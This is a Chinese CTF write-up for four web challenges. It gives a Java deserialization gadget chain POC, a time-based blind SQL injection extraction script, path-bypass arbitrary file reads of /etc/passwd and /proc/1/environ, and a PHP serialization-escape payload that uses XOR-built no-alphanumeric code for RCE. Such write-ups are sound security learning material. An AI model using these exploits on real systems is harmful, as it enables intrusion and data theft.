BabyURL

审计代码得出一个思路

就是在反序列化的时候会将得到的内容写入到 /tmp/file

然后在/file下就可以读取到内容

image-20230721165726299

题目把这个有反序列化入口的类给ban了

这里的话就可以容易想到二次反序列化绕过

刚好就可以想到SignedObject这个jdk自带的类

查看依赖发现没有什么特别的类可以用 于是就想到之前阿里云ctf里用过的JackSon这个类

刚好可以触发getter

于是得出利用了链

1
2
3
BadAttributeValueExpException
POJONode
SignedObject

所以最终的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.yancao.ctf;


import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import com.yancao.ctf.util.MyObjectInputStream;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.*;
import java.util.Base64;

public class test {
public static void main(String[] args) throws Exception {
URLHelper handler = new URLHelper("File:///F14gIsHereY0UGOTIT");
URLVisiter urlVisiter = new URLVisiter();
handler.visiter = urlVisiter;
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(handler,privateKey,signingEngine);
//这个SignedObject传进来就是要反序列化的类
POJONode jsonNodes = new POJONode(signedObject);
//这里就是使用POJONode这个可以触发任意getter的方法 ----> 来触发这个signedObject里的getObject()方法
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);

System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
URLHelper o = (URLHelper)ois.readObject();
//
}
}

通过这道题的话学到了一些新东西

image-20230724101125766

这道题的话其实也可以利用netdoc这个协议来读取文件内容

(可以当作file协议的替代品)

hellosql

这里的话先是fuzz了一下 发现sleep benchmark rpad if count 都过滤了

然后在页面尝试测试了一下 猜测是个sql盲注

(所以就猜测是用笛卡尔乘积)

这里的话却不能使用这个常规的 (因为countif都被ban了)

1
select count(*) from ((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,7)c) limit 1;

当时因为懒 没深究这个 看别的题去了 导致没做出来。。。。。。。

直接问gpt

image-20230724104909369

image-20230724105015874

直接让gpt来帮我们在原来的基础上进行修改

image-20230724105451643

image-20230724105521195

可以成功进行延时

最终的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time

res = ''
for i in range(1, 50):
for j in range(32, 127):
try:

burp0_url = "http://web-c456af9c06.challenge.xctf.org.cn/index.php?id=1' and case when ((select ascii(" \
"substr(group_concat(table_name),{},1)) from information_schema.tables where table_schema=database()))={} then (select sum(1) FROM " \
"information_schema.tables A, information_schema.columns B, information_schema.tables C, " \
"information_schema.views D) else 1 end-- -".format(i, j)
#Flllag

# burp0_url = "http://web-c456af9c06.challenge.xctf.org.cn/index.php?id=1' and case when ((select ascii(" \
# "substr(group_concat(column_name),{},1)) from information_schema.columns where table_name='Flllag'))={} then (select sum(1) FROM " \
# "information_schema.tables A, information_schema.columns B, information_schema.tables C, " \
# "information_schema.views D) else 1 end-- -".format(i, j)
#Flagg
# burp0_url = "http://web-c456af9c06.challenge.xctf.org.cn/index.php?id=1' and case when ((select ascii(" \
# "substr(group_concat(Flagg),{},1)) from Flllag))={} then (select sum(1) FROM " \
# "information_schema.tables A, information_schema.columns B, information_schema.tables C, " \
# "information_schema.views D) else 1 end-- -".format(i, j)

burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7,en-US;q=0.6",
"Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers, timeout=3)
# time.sleep(1)
# print(j,r.text)
except Exception as e:
res += chr(j)
print(res)
break

# flag{kfrL9n0upSAOMvY8hcO8uLdYMo9mZjHY}

image-20230724110506033

这里解释一下这个case when condition then result 的意思

就是当查询内容满足这个condition的时候就会返回result

上述代码的意思就是说匹配到的时候就会延时

总结

  • 其实就是考察的是时间盲注 但是只是需要替换一些函数

hinder

这道题预期解其实是挺复杂的 但是这题存在非预期 (原因是出题人在运行完sh文件后没把该文件删除 导致出现了非预期)

1
2
题目提示了 
访问/hinder

image-20230725111811018

没访问之前是可以看到这个网站的服务器是java的 (是个挺重要的信息)

image-20230725112023678

这里话是有两个绕过方法

  • 一个是url编码 (因为这里是前端校验)
  • 另一个是使用 /;/hinder
  • /anything/../hinder/ 绕过路径 (这样也行)

image-20230725112140700

这里的话讲一下这个 /;/hinder 绕过的原理

image-20230725112306230

image-20230725112342291

其实这里的话就是实现任意文件读取了 (看到这个action的时候其实可以想到这个struct2)

尝试读取一下/etc/passwd

image-20230725113456496

非预期解

尝试读取出题人常用的docker启动脚本 例如 /run.sh /start.sh

img

然后读取该文件就行了

img

看到这些非预期解以后 以后读取文件的话可以尝试读取这两个地方的东西了

  • /proc/1/environ
  • /proc/1/cmdline
  • /run.sh /start.sh 等等之类的docker启动常用脚本

预期解

巅峰极客2023 hinder

这个是使用的是struct2的漏洞来解的题

这里还没有一个完整的wp来看 所以先不写

unserialize

启动脚本

1
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/dfjk2023_unserialize

访问 /www.zip 得到源码

function.php

1
2
3
4
5
6
7
8
9
<?php
function b($data) {
return str_replace('aaaa', 'bbbbbb', $data);
}

function a($data) {
return str_replace('bbbbbb', 'aaaa', $data);
}
?>

(这里的话大佬应该能猜到是反序列化逃逸) 反正我没猜到…………

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();

if (isset($_POST['root']) && isset($_POST['pwd'])) {
$root = $_POST['root'];
$pwd = $_POST['pwd'];
$login = new push_it($root, $pwd);
$_SESSION['login'] = b(serialize($login));
die('<script>location.href=`./login.php`;</script>');
}


?>

login.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
session_start();
include_once "my.php";
include_once "function.php";

if (!isset($_SESSION['login'])) {
echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}

$login = @unserialize(a($_SESSION['login']));
echo $login;
?>

my.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

class pull_it {
private $x;

function __construct($xx) {
$this->x = $xx;
}

function __destruct() {
if ($this->x) {
$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
if (eval($preg_match)) {
echo $preg_match;
exit("save_waf");
}
@eval($this->x);
}
}
}
class push_it {
private $root;
private $pwd;

function __construct($root, $pwd) {
$this->root = $root;
$this->pwd = $pwd;
}

function __destruct() {
unset($this->root);
unset($this->pwd);
}

function __toString() {
if (isset($this->root) && isset($this->pwd)) {
echo "<h1>Hello, $this->root</h1>";
}
else {
echo "<h1>out!</h1>";
}
}



}



?>

开始代码审计

image-20230724162222075

首先是在index.php处进行序列化操作 然后在用b函数进行替换操作

image-20230724162404370

最后是在这个login.php处先将序列化字符串进行a函数替换 然后再进行反序列化

命令执行是在这个地方

image-20230724162637962

就是在my.php这个里面 其实就是无数字字母RCE 但是这不是关键 关键是如何进行序列化字符串逃逸

先使用之前羽师傅写的一个异或脚本来生成自己想要执行的命令

xor.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

xor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

使用方法就是先使用php生成字典 然后再使用python来生成自己想要的命令

image-20230724163944186

然后开始构造链子

image-20230724164349115

1
2
3
4
O:7:"pull_it":1:{s:10:"pull_itx";s:41:"(" "^"{{{|``")(""^"``| /`*");";}
//没编码前
O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A41%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%03%01%08%00%00%06%00%22%5E%22%60%60%7C+%2F%60%2A%22%29%3B%22%3B%7D
//编码后

因为这里的是因为不能传入这个pull_it这个类直接进行反序列化

image-20230724190117444

所以说我们就得尝试进行字符逃逸 把这个序列化后的结果加进去

开始逃逸

1
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:5:"datou";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A41%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%03%01%08%00%00%06%00%22%5E%22%60%60%7C+%2F%60%2A%22%29%3B%22%3B%7D

(逃逸了14个字符)

这里解释一下

image-20230724190419607

刚好是14个 其实也可以不是14个 这要看你自己的构造了

先使用常规的方法生成一下实例化的内容·

image-20230724190736840

aa是我们root传入的位置 bb是我们pwd传入的位置

image-20230724190920747

这是payload 这里一共传入了82个b字符 经过这个反序列化的时候 a函数的替换

image-20230724191030189

会变成42个字符a 于是给我们提供了42位的逃逸空间

于是我们就可以查看

image-20230724191238844

image-20230724191508816

然后就是13+29==42就会成功逃逸成功 后面跟着pull_it这个序列化后的恶意类

因为逃逸的关系 (原本的pwd参数也变成了root的值,然后又添加进来一个datou,刚好满足两个参数的要求)

于是就成功逃逸出来了(后面多出来的一些字符并不影响 并且直接添加一个序列化后的类也是可以反序列化的 )

image-20230724191908997

本地测试过了

总结

  • 重新温习了字符串逃逸这个知识点
  • 学到了这个在一个序列化后的字符串后面继续添加一个别的类的序列化字符串也是可以一起进行反序列化

测试过程的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class user{
public $username;
public $password;
public function __construct($u,$p)
{
$this->username = $u;
$this->password = $p;
}

}
class test{
public $system;
public $command;
public function __construct($s,$c)
{
$this->system = $s;
$this->command = $c;
}
public function __destruct()
{
eval(system(calc));
}
}

$t = new test('system','calc');
//echo serialize($t);
//O:4:"test":2:{s:6:"system";s:6:"system";s:7:"command";s:4:"calc";}
$u = new user('aa','bb');
//echo serialize($u);
//O:4:"user":2:{s:8:"username";s:2:"aa";s:8:"password";s:2:"bb";O:4:"test":2:{s:6:"system";s:6:"system";s:7:"command";s:4:"calc";}}
unserialize('O:4:"user":2:{s:8:"username";s:2:"aa";s:8:"password";s:2:"bb";O:4:"test":2:{s:6:"system";s:6:"system";s:7:"command";s:4:"calc";}"";}}');